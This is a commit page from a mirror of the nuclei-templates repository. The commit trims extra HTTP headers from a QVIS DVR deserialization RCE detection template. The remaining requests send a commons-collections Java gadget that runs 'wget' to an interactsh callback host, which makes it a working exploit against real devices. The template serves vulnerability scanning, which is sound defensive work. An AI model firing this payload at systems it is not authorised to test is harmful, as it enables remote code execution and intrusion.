daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

removed extra headers

patch-1
sandeep 2021-07-27 21:43:39 +05:30
parent c703d92c5b
commit 7d200d7028
1 changed files with 1 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
iot/qvisdvr-deserialization-rce.yaml
View File

@ -12,19 +12,11 @@ requests:
- | - |
GET /qvisdvr/ HTTP/1.1 GET /qvisdvr/ HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
- | - |
POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1 POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Content-Length: 1884
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}} javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}